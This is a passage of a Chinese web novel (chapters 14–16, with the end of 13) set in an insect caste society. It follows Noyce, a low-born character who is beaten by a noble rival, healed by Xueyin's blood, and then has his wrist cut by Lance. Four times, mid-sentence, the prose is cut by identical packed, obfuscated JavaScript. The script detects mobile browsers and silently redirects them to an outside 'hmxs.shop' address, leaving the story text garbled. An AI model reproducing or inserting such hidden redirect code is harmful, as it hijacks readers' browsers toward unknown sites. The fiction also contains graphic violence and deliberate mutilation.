寻常伤势对S级雌虫来说当然能快速愈合。但雪因背后站着雄虫协会,是三大家族中心唯一的宝贝雄子,帝国最为珍贵容不下一点闪失的珍贵雄虫。 所以哪怕他得到这次家族和…联手给他制造出与殿下独处的机会,也并不意味着对立两大势力会放过他。 况且如果他引诱失败,恐怕家族会第一个牺牲他,用他永恒的残缺与痛苦向上位者谢罪。 在他惶恐不知所措的时候,诺伊斯就这么恰好站在他身边,被慌乱的他亲手推入了那间休息室… 可那又怎样?狗就是要为主人办事,就算死掉也是诺伊斯的命贱,为主人赴死是天经地义、是这个贱虫的荣耀!而不是反咬他一口! “自从我把你从那个垃圾星球带进帝星,你一直示弱装得温顺卑微,做我脚边最听话的狗…是、是我大意和雌父聊天竟没防备你这个……”他斜睨着诺伊斯,从齿缝里碾出两个字,“东西。” 舌尖抵着齿,两个字,轻飘飘却带着诺伊斯永远摆脱不掉的身份。底层雌虫永远是消耗品,不配有姓氏,不配有尊严,没有虫会防备一个随处可见不起眼的东西。 敢么?谁也不会觉得他们敢反抗,等级与身份的鸿沟不可逾越,这就是规则。 “你嫉妒了吧?”诺伊斯忽然笑起来,脸上有一道刚被树枝擦过,不断溢出血珠的伤,却毫不影响他紫眸却亮得惊人,“想不到我这试水的石头非但没死,反而得到了殿下的怜爱。” 示弱换不来仁慈,只会暴露软弱。再说,他也不想忍。 他想,多半是这段时间被雪因惯坏了。沃特迟迟不敢对他下杀手,分明是想继续利用他铺路,做梦!只要他活着,谁都别想靠近雪因! “你!诺伊斯,你找死——!”沃特被彻底激怒,周身杀气暴涨。 “来!来啊!杀了我!你杀了我!你敢么!!”诺伊斯嘶声大笑,血沫溅上唇角,“然后等着殿下的怒火降临在你、和你的整个家族头上!” 他笑得浑身发颤,每一个字都淬着血与恨:“真可怜,到时候你绝对会生不如死…噢,对了,还有你的家族、咳咳……真值啊,我一个你看不起的东西,把你整个家族来给我陪葬,哈哈哈哈……” 他笑得很骄纵,努力学着雪因、贵族们平日的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513812|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,微微扬起下巴带着蔑视一切的眼神。试图掩饰恐惧。 身体却因剧痛而不受控地颤抖,疼痛从各处传来反倒是不知那一处更痛了,他也不在乎。 身体既然已经败了,精神上就必须赢。他像只保护领地,凶狠露出稚嫩尚未锋利乳牙的幼崽恐吓着对方。 沃特咬紧牙关,不自觉地后退了半步。 他死死盯着诺伊斯,眼中的怒火渐渐冷却,眼睛慢慢溢出厌恶。半响,他陈诉着:“贱虫,和你雌父一样贱。” 诺伊斯浑身一颤,凶狠地话语堵在喉间,拳头不自觉捏起,指节泛白。 沃特语气不带情绪,表情带着贵族惯有的傲气,像只是在陈诉一个再不起眼的事实,反而让诺伊斯感到深深的绝望和羞辱。 “该不会你雌父救我也是设计的吧?拿命来给他独子换一个攀附荣华富贵、来到帝星的机会…真可怜,就算你能攀上殿下又如何,没人将你看在眼里,甚至那几位都不屑于来威胁你。” 诺伊斯死死瞪着他,想生气、想暴怒、想打烂这个贵族雌虫的嘴,又被‘雌父’两字硬生生堵住喉。 ——你要忍,忍到站在顶峰。 ——抓住一切机会,直到让我们血液永远流淌在顶层。 诺伊斯嘴唇张合几下,眼神湿润了起来,最终只能挤出虚弱的一句:“不许你提我雌父!” “呵,贱虫!一家子命都贱。”沃特冷笑,“我雌父当初就不该心软,答应让你做我的伴读。” “……” “你雌父之所以答应让我做你的伴读,不过是想为你博取一个‘抚恤战死平民子嗣’的美名。可惜你雌父养出你这么一个蠢货…”诺伊斯狠狠嘲讽沃特。 为他,也为死去的雌父。 不想忍。 凭什么他已经走到了今天这个位置,还要忍受这些羞辱。 ——你做什么都可以。 雪因说这句话的时候格外认真。看着他的眼神总是很软,抱着他的动作也很轻,会为他戴上数不清象征身份的名贵物品。仿佛他是什么无比尊贵的虫,而不是随处可见的一个…东西。 还会珍重轻吻在他指尖,带着酥麻柔软的暖意,一点点拂去来时的阴影。 高等级雌虫可以上战场杀敌换军功获得荣耀,而他在用自己的方式努力抓住一切机会奋力往上爬,他从不认为自己比谁低贱。 “是么?至少我这个蠢货不会让我雌父拿命来换前程。”沃特开口。 “草,你去死吧。”诺伊斯双目赤红,不顾重伤的身躯,握紧拳头冲了上去,却被沃特轻易踹飞,重重撞在树上。 “哈哈哈…”诺伊斯挣扎着从地上爬起,身上快被血浸透,“对,就是你看不起的我这种贱虫,现在和殿下在一起,是他最为宠爱的雌虫。” “以后,我的、我雌父的血脉,你看不起的低贱的血脉,会永远流淌在你够不到的顶层。”诺伊斯眼睛带着水意,“就算今天被你踩在脚底又怎样?以后你看到我的虫崽——” 他剧烈咳嗽着,浑身脏污却依然扬起骄纵的笑,在阳光下肆意扬起头:“…只会有跪下的份。” …… “是么?”沃特愣了愣,眼中的暴怒沉淀为极致的危险,他扯动嘴角,露出一个冰冷彻骨的笑容:“那还真是…多谢你的提醒。” 14.第 14 章 “饿死虫了啊!到底还要走多久?”洛佩卡嘴角叼着一根随手拔的草,双手背在脑后,不耐地走在队伍末尾。 佐尔安在他旁边嗤笑一声,扬声朝前喊:“雪因!给我们这位快饿死的阁下报个时呗?” 翠绿丛林背景下,雪因白得几乎晃眼。他站在中央,几只白蓝拖尾的闪蝶从林间慢悠悠地晃出,摇摆着飘逸在他周身,蓝焰拖尾掉落细碎微光,最后停靠在他温润的指尖。 “快了,”雪因目光温和地追随着指尖那只幽兰闪蝶,声音清润,“距离雌虫群三十公里。目前还剩26个目标,其他的应该已经被传送出去了。”指尖微动,蝶翼轻颤,洒落点点微光,随即化作流萤没入指尖,滋养着消耗体力。 “三十公里?!!!啊!啊啊啊啊!!!!我感觉自己已经在这条破路上走完大半辈子了!我老了,走不动了,我要在这里化作历史的尘埃了、我要死掉了!”洛佩卡发出嚎叫。 这简直他虫生过得最漫长痛苦的日子! “准确来说,只过了三天。”前方开路的兰斯头也不回,手起刀落,将拦路的茂密草丛利落斩开,“真饿了就自己去找吃的,光嚎可嚎不出营养剂。” 兰斯动作干脆利落,带着顶级雄虫特有的力量感。虽说雄虫身体强度普遍比不上雌虫,但等级可不只是信息素掌控力的差距,S级雄虫身体强度甚至能与B级雌虫对抗不落下风,这也是老师敢放心他们出来训练的原因之一。 只是之前大部分时间都是在虚拟训练场,下放到实景这还是第一次。 穿过刺挠的野草区还是怪烦虫的,野草边缘的细密尖刺划过皮肤,虽不致命,却带来一阵阵烦人的痒意。 兰斯干脆利落地折了根结实的树枝,将手中那柄寒光凛冽的匕首牢牢绑在顶端,当割草机用。 不难看出这匕首是下了血本的顶级货色,削铁如泥,全力挥动时甚至能带起一丝割裂空间的扭曲感——有它在,至少不用担心对上那些皮糙肉厚的雌虫时,连对方皮肤都划不破。 “这是饿的问题吗?”洛佩卡幽怨的念叨,“这是原则问题!我是雄虫!尊贵的、该被捧在手心的雄虫!我真的不敢相信为什么我一个雄虫要受这种苦?我的雌虫呢?我那无所不能的雌虫呢?!来一个啊!随便来一个把我捡走都行!” 佐尔安笑嘻嘻地凑过去,一把搂住他肩膀:“行了行了,难得清静,我倒觉得没有那群烦虫的家伙还挺爽的,空气都清新了不少。” “清静能当饭吃吗?”洛佩卡甩开他的胳膊,悲愤地戳着自己的终端屏幕,“之间搜寻雌虫他们战斗后留下的物资吃完了吧?一点都不剩了吧?今晚要把我饿死么???救命,为什么我身为一个雄虫!雄虫!S级雄虫要经历这些,真是让虫难!以!置!信!” 说罢,他打开终端,熟练地第一百四十二次点开那个标注为“尊贵的陛下大人w亲亲~”的联系方式,上边密密麻麻如出一辙的信息:“陛下,捞捞QAQ”,后面无一例外跟着鲜红的发送失败提示。 “别费劲了,”雪因温和地提醒,眼底带着笑意,“训练场信号全域屏蔽。再坚持两天任务结束就好。” “两天?我感觉两分钟都撑不下去了!” “啧,瞧你这点出息。”佐尔安扬起下巴,指尖寒光一闪,匕首灵巧地转了个圈,“等着,哥给你弄点好吃的开开荤。” 兰斯停下开路的动作,回过头,眉梢挑得老高:“你?找吃的?你分得清哪些是食物吗?” “哎哎哎?你这是什么意思?”佐尔安被他的质疑激起了好胜心,下巴扬得老高,“我可是看过不少星际电台的荒星求生节目。” “今天就让你见识见识,什么叫荒野求生专家!” 说罢,手轻轻拂过大腿,眨眼间,寒光闪闪的匕首就在他指尖飘逸地翻转,反射出众虫孤疑打量的表情。 “看好了。”话音未落,他已几步蹿到一棵造型奇特的幽绿色树木前,树整体是幽绿色,还有着绿色光纹路在上面游走,顶着的硕大叶片边缘,边缘则长着蘑菇状尖尖帽子带着雪白泛紫色斑点的孢子… 怎么都不像能吃的样子… 众虫看着那棵散发着“生虫勿近”气息的树,陷入了沉默。 “喂喂喂?你们这是什么眼神。”佐尔安不满地用刀柄敲了敲那棵造型诡异的树,发出沉闷声。“别以貌取树!视频里说了,这玩意儿学名阿利伽尔蕨,别看样子唬虫,其实是丛林里有名的‘老实树’!” 他绕着树走了半圈,得意地指着树皮上流动的幽光:“看见这层绿光和纹路了么?这是它在高效光合作用,能量充足得很!”接着又指向顶端那些巨大的叶片和带着紫斑的孢子,“这些大叶子是诱饵,专门骗吃草的。关键在这些孢子,看到这漂亮紫斑没?它会散发信息素,让别的虫子以为这是同类的尸体,根本不敢靠近!一套完美的防御系统,聪明吧?” “再说——”他话音未落,手起刀落,匕首猛地扎进树干。 树木瞬间发出一声尖锐的嘶鸣,顶上的大片叶子应声脱落,看起来可怜弱小且无害。 佐尔安得意地瞥了伙伴们一眼,用匕首划开肥厚的枝干,奶白色的汁液立刻涌出。他顶着大家一言难尽的眼神凑近,伸出粉嫩舌尖一舔,将汁水咽下,“这玩意有没有毒,我尝一口就知道。” 雪因、洛佩卡、兰斯:? “……哎?别说还怪甜的,”他诧异地挑眉,干脆凑上去又尝了两口,“视频里还说什么‘味道略微苦涩’…全是瞎扯!看来这破节目果然不靠谱,真理还得靠实践!等我回去就投诉他们,这简直是误虫子弟,哈哈…哈…” …… …… …… 两小时后。 “雌君……嘿嘿……给、给你雄主我跪下…”佐尔安瘫在洛佩卡背上,双颊泛着不正常的红晕,迷离的双眼找不到焦点,双手在空中胡乱挥舞。 “别乱动!”洛佩卡咬牙切齿地低吼。 本来被丢到这边做任务就烦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16525143|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在好了,还多了一个发疯虫病要照顾的病号。 “啊、哈哈、雌虫、全给我跪着、花花…送雌君。”佐尔安傻笑着,猛地一伸手攥住了头顶垂下的藤蔓,洛佩卡猝不及防,被带得一个趔趄,差点双双扑地。 “啊啊啊!你给我安分点!”洛佩卡忍无可忍,一巴掌拍在背上那虫的臀上,又惹得佐尔安一阵花枝乱颤。 “大胆!”佐尔安吃痛,反而更兴奋地扭动起来,“竟敢……嘿嘿……我就知道,雌君你早就想跟我玩这套了…你想把我绑起来…睡我…很久了吧…哈哈!” 洛佩卡深吸一口气,“……兰斯。我真的不能打晕他么?”他吃力地再次抓握背上那虫双腿防止他掉下去,眼神不耐得想杀虫。 前方开路的兰斯回头:“理论上,袭击尊贵的雄虫阁下是重罪。” 他表示爱莫能助。 “…那换你来背。”洛佩卡狠狠瞪他,随即转身装做要将佐尔安丢下。 “……忙着开路呢,别闹。”兰斯立刻正色,一本正经地挥了挥手中的匕首,移开眼神假装很忙。 “哼,我也是雄虫,怎么就不能把他打晕了?雪因你说呢?”洛佩卡愤愤不平地寻求支援。 “我看看。”雪因缓步上前,纤长白皙的手指在佐尔安眼前轻轻晃动,引导着他迷蒙的视线,佐尔安迷茫的眼神慢慢追逐着手指,点点浅蓝色的荧光自他指尖逸散,飘逸游动,像星光落入人间,缓缓融入佐尔安体内。 很快佐尔安便脑袋一歪,沉沉睡去。“只是轻微的致幻毒素,几个小时就能代谢掉。别太担心了,洛佩卡。”雪因看着洛佩卡勾起一抹温和的笑,至少在洛佩卡看来很靠谱,让虫安心。 “……谁担心他了。”洛佩卡别扭地扭头,冷哼一声,没好气地把背上沉重的那只王八虫往上颠了颠。 “别闹了快走吧,落日前得找个洞穴才行,今晚估计会下雪。”兰斯感受着风中加剧的寒意,神色凝重起来,“……雪因?” 雪因瞳孔放大,眼神怔怔地看向北方,脸色瞬间苍白。 什么味道… 极其微弱,无比熟悉的… 血腥味… 诺伊斯… “喂!雪因?!发生什么事了???”没等兰斯发声。 只看到雪白的身影不再优雅,不再顾及地形,足尖在树干上借力一点,灵动飘逸踩着树干跳跃,身影在林木间几个疾闪,不顾一切地朝着北方疯狂冲去。 “等等!雪…”兰斯心头一紧,来不及多问,握紧匕首便奋起直追。 “喂!你们——!”洛佩卡眼睁睁看着两道身影一前一后瞬间消失在密林深处,徒留他一个人背着沉重的‘包袱’愣在原地。 寒意裹挟着雪的风穿过林间,吹得他一个激灵。 “等等我啊!混蛋!别丢下我啊啊啊!!!”洛佩卡发出一声绝望的哀嚎,他手忙脚乱地把背上往下滑的佐尔安猛地往上一颠,也咬着牙,深一脚浅一脚地朝着那个方向拼命追去。 15.第 15 章 诺伊斯… 诺伊斯… 诺伊斯! 血腥味浓厚到浸透整片林地,从百米外树干上飞溅的暗红,到地上深深的拖痕,都像是一场单方面虐杀。 可能人在遭遇巨大冲击的时候,是真的会失去所有反应。雪因只觉得脑中一片空白,心脏跳得很快,又好像停了下来。 越来越近,血腥味越来越浓,黏稠的血液混着腐烂的树叶,粘在他的靴底,步伐带着令人绝望的黏腻声。 他怔怔看着,呼吸急促得像随时会停下。 一步。 两步。 他终于跪坐下来,颤抖着捧起那只伤痕累累沾满脏污擦伤的手,原本在这段日子里被他养得柔软了些的手指,此刻冰冷得可怕。 小心翼翼地将诺伊斯的手贴在自己脸颊。那只手带着血痂、伤口混着泥沙,给脸上带来粗粝触感,“…诺伊斯?” 没有回应。 怀中的人几乎找不到一寸完好的皮肤,浑身都被鲜血与污浊浸透。 但能感受到其中微弱却无比倔强的生命力,像不甘折断的藤蔓。一下、一下,顽强跳动着。 雪因不再犹豫。 舌尖抵上锐利的标记齿溢出一抹腥甜,对准诺伊斯苍白的唇吻了下去。 雄虫的体/液与血液,对雌虫而言是极强的修复剂。在更久远的时候,雌虫面临资源枯竭甚至会将雄虫视为食物。直至后来文明与规则牢牢管控,食欲转化为保护欲。 雄虫等级越高,越容易引发整片区域暴乱,深植于本能中的渴望会让无数雌虫争抢着涌上,同时会奋不顾身杀了雄虫周边所有生命,将雄虫独占圈禁。 所以法律明令禁止让高等级雄虫受伤流血,雌虫令雄虫哪怕只是轻微擦伤,都将面临极重的惩罚甚至死刑,以此震慑所有可能失控的同类。不能有首例。 但雪因此时管不了这么多,他将血液控制在口腔内,不让信息素外泄。诺伊斯也很配合,昏迷中感知到了能治愈生命的甘露,大口大口紧紧缠绕着雪因舌尖,汲取着那不多的血液。 不够,还不够。 伤口肉眼可见缓慢地愈合,诺伊斯忽然睁开了眼,眼中一片血红和贪婪,只剩下原始的本能。 雪因捂住他的眼迫使其闭上,低声安抚:“不怕,我在。别浪费体力好好休息,一会我会给你。” 幽蓝的光点从雪因身上飘出没入诺伊斯身体,诺伊斯脑袋一歪,沉睡了过去。 雪因不由得松了口气,幸好诺伊斯等级不高,不然他也没有把握能在这样的情况下,弄晕一只只剩下本能驱使的雌虫。 他紧紧抱着诺伊斯,跪坐在血泊之中。 直到确认诺伊斯脱离生命危险后,后怕才懂事的从骨子里渗出来,雪因发现自己抖得厉害。 有点想哭。 他第一次见到这么多的血,而这些血,全都来自他最爱的人。眼泪差点要掉下来。 恐惧、心疼…种种情绪交织在一起,几乎要将他淹没。 但是不可以哭。 他用手背狠狠擦过眼角,原本精致漂亮矜贵的脸上,多了一些脏污血迹。 诺伊斯现在情况不好,他必须冷静,诺伊斯只有他了。 他要保护好诺伊斯。 不可以脆弱,不可以逃避,不可以再假装无事发生,胆怯地退到侍虫身后。 现在失去了一切身份,只是一只‘亚雌’,前面不再有侍虫他阻挡危险,而他身后还有诺伊斯。 错了,他错了。 他以为爱就是不顾一切地给予诺伊斯所有他想要的,想看他笑,于是溺爱他,满足他的一切要求。 溺爱是毒。他好像有一瞬间理解墨尔庇斯推开他的原因…但现在来不及想太多,诺伊斯需要他。 快速眨眼压下泪意,强迫自己冷静下来。 “雪因!”兰斯赶到,看到眼前浓重的血腥味也被震惊到,不由得后退一步。 他沉默地看着这堪称惨烈的一幕。雌虫之间斗争向来残酷,他听说过,但第一次直面如此血淋淋的场景,心脏还是忍不住抽搐,更不用说那个抱着诺伊斯、浑身颤抖的身影受到的冲击。 雪因一把将诺伊斯扶起,这时洛佩卡也背着佐尔安匆匆赶来。 “嘶——” “啊啊啊,好可怕好可怕,洛佩卡别怕,都是假的,血应该是绿的才对。”洛佩卡捂住眼睛,心有余悸地转过身去。身后的佐尔安没了支撑狼狈地滑落在地,洛佩卡又慌忙尴尬地将对方重新背好。 “……”雪因看向兰斯,诺伊斯沉甸甸地压在他身上,又或是压在心上,他一时无言,“…我去找个山洞”他开口,声音像黏在喉咙,沙哑得厉害。 但总归是强撑起来。 “我帮你。”兰斯连声说,“左边五百米外有个山洞,我们一起去那里避一避。” 雪因点头,暗自松了口气。 一旁的洛佩卡却深深皱眉,背着佐尔安后退了一步,脸上写满嫌弃。他张了张嘴想说些什么,又被兰斯警告的眼神制止,只好不情不愿地跟上。 “啧…不过是个低贱的雌虫…”他小声嘟囔着。 这就是让雪因挨骂的东西?光是和这种东西待在同一处都让他感到屈辱。长得不怎么样,弱得要命,哪有雌虫还需要雄虫来救的?丢脸!简直丢雌虫群的脸! 还连累他们一起被丢到这个鬼地方。 就为了这么个东西?雪因是不是脑子被门夹了?还是他洛佩卡聪明,选了个最厉害的。 前方依旧是兰斯开路,但和一开始的轻松不同,这次他明显也带了几分焦虑与不耐。 雪因半个洁白的身子都被血迹染脏,他小心翼翼背着身后满身是血的诺伊斯。垂落在他胸前的手还在不停地往下滴着点点猩红。 洛佩卡则走在后方不满地躲开这些脏污。 太脏了… 把雪因都弄脏了… 老师说得对,雌虫都坏,尤其是这些从底层星爬上来的。不能让他们有机可乘才对。 在夜色随着雪花飘落下来前,他们终于抵达了山洞。山洞很是宽阔,甚至还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528506|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小的隔间。地面上零散地铺着些相对柔软的干草和柴火,还有几支零碎的营养液,想来是之前在此驻扎的雌虫留下的临时营地。 兰斯忙着研究如何生火,而洛佩卡则背着佐尔安坐在一旁,扭过头不去看雪因,独自生着闷气。 雪因背着诺伊斯走进小隔间。诺伊斯急需治疗,但现在毫无办法,试炼一旦开始就绝不会中途停止。或者说要呼救么?和老师认错认输、或者随便向周边雌虫们下达救治诺伊斯的命令…这样立刻就能带诺伊斯回去,帝星绝对有办法救他。 ——等他能在你的‘偏爱’下活到那时。 老师的话又一次在脑海中浮现。 不,不能再这样下去了。至少在自己具备足够能力之前,不能再把诺伊斯推到明面上。强行带他出去,绝对会再次让诺伊斯成为众矢之的。 雪因想,今天的事是他的错。 不能再犯第二次。 那么现在只剩下一个办法…他的血可以救诺伊斯。 但的血会引发周围雌虫的暴动,目前只是暂时被屏蔽着信息素,让周边雌虫无法感知到他们身份,可血液一旦溢出就藏不住‘亚雌’的身份了,这次雌虫队伍中还有不少高等级雌虫,可不好糊弄。 不,一定有办法的。他强迫自己冷静下来。 从破壳开始,无数雌虫不断向雄虫投喂着大量精神力,这些精神力不仅作为提供雄虫成长所必需的养分,更多是被储存在体内。也就是说,他可以像老师那样,引导出体内的精神力来制造一个屏蔽空间。 …… 指尖浮现幽兰的小蝴蝶,他缓缓引导出体内那种陌生又熟悉的力量。这种感觉并不好受,像是将血液一点点挤出身体,难受得要命。至少是他短短二十年来第一次尝到疼痛的滋味。但是他不敢停,停下诺伊斯就真的要死掉了。 他看向诺伊斯腹部最严重的伤口,甚至有几个手掌大小的贯穿伤,心疼得别开眼去,胸口闷得发慌。好想像从前那样后退一步,只要略微后退,就会有无数雌虫心疼地簇拥上来,保护着他不会让他感受到疼痛。 不会让他疼,也不会让他面对这样的局面… 不对,不对不对不对。 诺伊斯是、他的爱人。抚育虫告诉过他,爱人是生命中很重要的存在,即使身为备受宠爱的雄子,也总要有一天要学会坚强,学会独当一面,不能被表象蒙蔽双眼,不能自愿沉溺在温柔的牢笼中。 对,我是一个强大而优秀的雄虫。不能软弱,必须保护好自己最重要的东西。 指尖的蓝蝶积蓄了足够的能量,带着堪比SS级的强大精神力四散开来,瞬间在整个空间形成了结界。现在至少不用担心血腥味会外泄。 “诺伊斯…”他轻轻伏在诺伊斯身上,解开上衣纽扣,露出白皙脆弱的脖颈,“醒醒。” 随着这句话,诺诺伊斯缓缓睁开了迷茫的双眼,漂亮的紫罗兰色眼睛此时只映照着雄虫白皙脆弱的身躯。 “来。”雪因犹豫了一瞬,闭上眼,颤抖着将脆弱的脖颈献祭上去。 16.第 16 章 瞬间位置反转。 诺伊斯狠狠将雪因压制在粗糙的地面上,背部传来的粗砺触感惹得雪因一阵颤抖。但他很快稳住了心神,强迫自己镇定下来。 他感受着诺伊斯胸膛里传来的震动声,温热黏腻的血液从诺伊斯受伤的腹部不断渗出,浸透了他腰部,浓重得令人作呕的血腥气将他们两人包裹,像是血肉交缠,再也分不开你我。 急促的呼吸喷在他的颈侧,本能和理智交织,诺伊斯只是一遍遍徒劳地轻舔着那近在咫尺的皮肤,呼吸越来越急,尖牙悬停,却迟迟没有咬下。 “别怕,”雪因轻声说,他其实是害怕的,但诺伊斯只有他了。他一直等着预期中撕裂的疼痛来临,但疼痛始终高悬不落。 他知道,就算诺伊斯完全失去理智本能被彻底吞噬,也绝不会真的伤害他。 雪因眼眸又开始不受控制地湿润起来。 不再犹豫,他替在欲望与理智间挣扎的诺伊斯做了决定。指尖划破白皙的脖颈,蕴含着强大生命力的温热血液瞬间溢出。诺伊斯再也忍不住,猛地凑上前,贪婪又笨拙的克制着,只是不断舔舐着。 “我没事,诺伊斯…我爱你,别怕,我会保护好你的。”雪因呼吸开始急促起来,血液流失带来一阵阵晕眩。但他没有反抗,只是温顺地仰着头,反手一遍遍轻拍着诺伊斯的后背安抚着“别怕啊…你别怕。” 又像是安慰那个同样身处这片血腥与黑暗中的自己。 在雄虫血液强大的效力下,诺伊斯身上的伤口以肉眼可见的速度飞速愈合。即使在昏迷状态下也没有失控,克制地小心地舔舐着雪因颈间的伤口,直到身体完全恢复,下意识地往侧面一滚,避免自己沉重的身躯砸到雪因,这才彻底陷入昏迷。 雪因这才长长地松了一口气,要是诺伊斯太过分,他也不知道该怎么办了。 他看着诺伊斯安静的睡颜,不由得笑了笑,倾身,在他汗湿的额头上留下一吻。 周边出现点点幽蓝的光蝶翩跹萦绕在雪因颈侧,慢悠悠地飘向他脖颈间的伤口,被咬破的伤口随之迅速愈合,丝毫看不出痕迹。 结界悄然散去。 一直背靠岩壁、环臂等待的兰斯这才斜睨过来,见结界撤去,方才不紧不慢地踱步走近。 “需要帮忙么?”他开口,语气平淡,听不出什么情绪。 兰斯家族掌控帝国医疗命脉,家族中每一位、包括雄虫都天生拥有治愈能力,精通各类伤势处理。 雪因点了点头。 兰斯走上前,目光掠过地上昏迷的诺伊斯,只是拉起雪因的手。闭眼,柔和的绿色光晕自他指尖流淌,渗入雪因体内,带来一阵暖意,梳理着因过度消耗而紊乱的能量。 雪因垂下眼帘,带着几分歉意,“今天…是我鲁莽了。” “哼,你现在才知道?”兰斯没好气地冷哼,手上的治愈能量稳定持续输出,“受惊不轻,能量场也一塌糊涂。回去后必须静养几天,或者…让您那位位高权重的雌君大人亲自为您梳理?” “不用。”雪因淡声回答,“等我结束这次特训,他大概已经离开帝星了。” “……”兰斯舔了舔有些干燥的上唇,压下心头不满,“嗯,他倒是‘日理万机’。” 墨尔庇斯军团长常年征战公务缠身是众所周知的事。雄虫们虽对他冷落雪因有所不满,倒也不至于大动干戈——毕竟雌君若常年不在帝星,雄虫多娶几位贴心的雌侍便是。 只是这种将雄虫当‘恢复剂’使用,把亲昵当作战场归来后必须执行的程序,从战场归来便例行公事,结束便立刻离开。这种态度,令大多数雄虫深感不满。 所以相比之下他们自然更宠爱长伴身边的雌侍。虽然各自怀有些小心思,却也陪伴良久,且愿意在雄虫身上花费心思讨好。 更别提墨尔庇斯这类,装都不愿装连表面功夫都懒得做,一年在帝星时间不超过一周。 连带着他看诺伊斯都顺眼几分,没那么生气了。 但老师说得对,不过是些无足轻重的玩意儿,还得劝劝雪因别太认真,喜欢的话随便给个雌奴的名分就行了。 他敛起心绪,终于纡尊降贵般将目光投向诺伊斯,“需要我看看他么?” 雪因微微一怔,接着不好意思的点了点头。 不管怎么说,诺伊斯等级身份确实不起眼。夸张的说,只是在他们这些顶级雄虫耳边提起诺伊斯的名字,都是对这些顶级雄虫不可饶恕的冒犯。 也怪不得洛佩卡还在外边生气。 即使诺伊斯什么都不做,出现在他们面前都是对他们的冒犯,何况还是那种血淋淋的形态,有虫敢这样吓唬雄虫就算不死事后也得被惩戒至死以此示警。 毕竟雄虫是脆弱的,谁也不敢保证会不会有雄虫因为见到这个场面应激死掉。 诺伊斯身上衣物早已破损不堪,这倒方便了检查。兰斯从怀中取出一副洁白的手套,一丝不苟地戴上,这才俯身,按上诺伊斯腹部。虽然外表已经愈合,但内部机能却是另一回事。他凝神屏息,细细感知着深处的状况。 “皮外伤无碍,死不了。但…殖卵系统彻底毁了,生育功能永久丧失,以后不可能再有虫崽了。”他沉默一会,斟酌着说了出来。 “没关系,只要活着就好…”雪因摇摇头,眼里心疼溢出,轻轻抚向诺伊斯苍白冰凉的脸颊,“不要告诉他,他会伤心的…” “倒是可惜,要是有个S级的体质,这种损伤未必不能逆转。可惜他等级太低,这种精细部位…”兰斯的话语顿住,感知到微弱却不应存在的生命波动,指尖一顿,带着惊疑再次探向生/殖腔的深处。 “……雪因?”犹豫片刻,他开口。 雪因其实没有在听他说什么。在确认诺伊斯脱离生命危险后,雪因便只顾着安抚他,一直在强撑的精神松懈,极度的疲惫涌上。他歪过头,靠在诺伊斯身边沉沉睡去,即使睡梦中睫毛也颤抖得厉害。 兰斯凝视着毫无防备的两人,脱下外套,小心地将力竭的朋友小心抱起,安置在相对舒适的位置。 做完这一切,他重新走向诺伊斯,手中寒光一闪,多了一柄异常锋利的匕首。 雪因太过心软,而这从底层泥泞里爬上来的雌虫,心机深重。 虽然今天只是第一次见面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538272|186202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还是下意识给这个虫定下了原罪。不止卑微的出身,他竟敢蛊惑雪因…顶级雄虫的眼睛不能停留在这种东西上,这也是他犯的罪——老师说得对,雪因太在乎了,是被这种贱虫蒙蔽住眼睛,他必须做点什么… 诺伊斯只需要做一个合格的玩具就好,不能、万万不能伤害到主人。 匕首高悬,冰冷锋刃对准了诺伊斯生/殖腔。 …… …… 还是没有落下。 他做不到。 那就断掉他的仕途好了,彻底断掉他倚仗的资本。挑断手筋让他再也无法持剑搏取军功;毁了蛊惑人心的眼睛,让他再也无法用这种眼神引诱雪因。只能完全依附,专心做一个伺候雪因的玩物,再也生不出别样心思才好。 不要再想利用雪因,让雪因为难了。 从底层星球出来,能做到这个地步也已经足够。 兰斯迅速说服了自己,匕首随即转向,心安理得狠戾地将其刺向诺伊斯的手腕。鲜血溢出瞬间,他还是忍不住心颤了一下,这种粗暴血淋淋的的场面果然只有雌虫会喜欢。 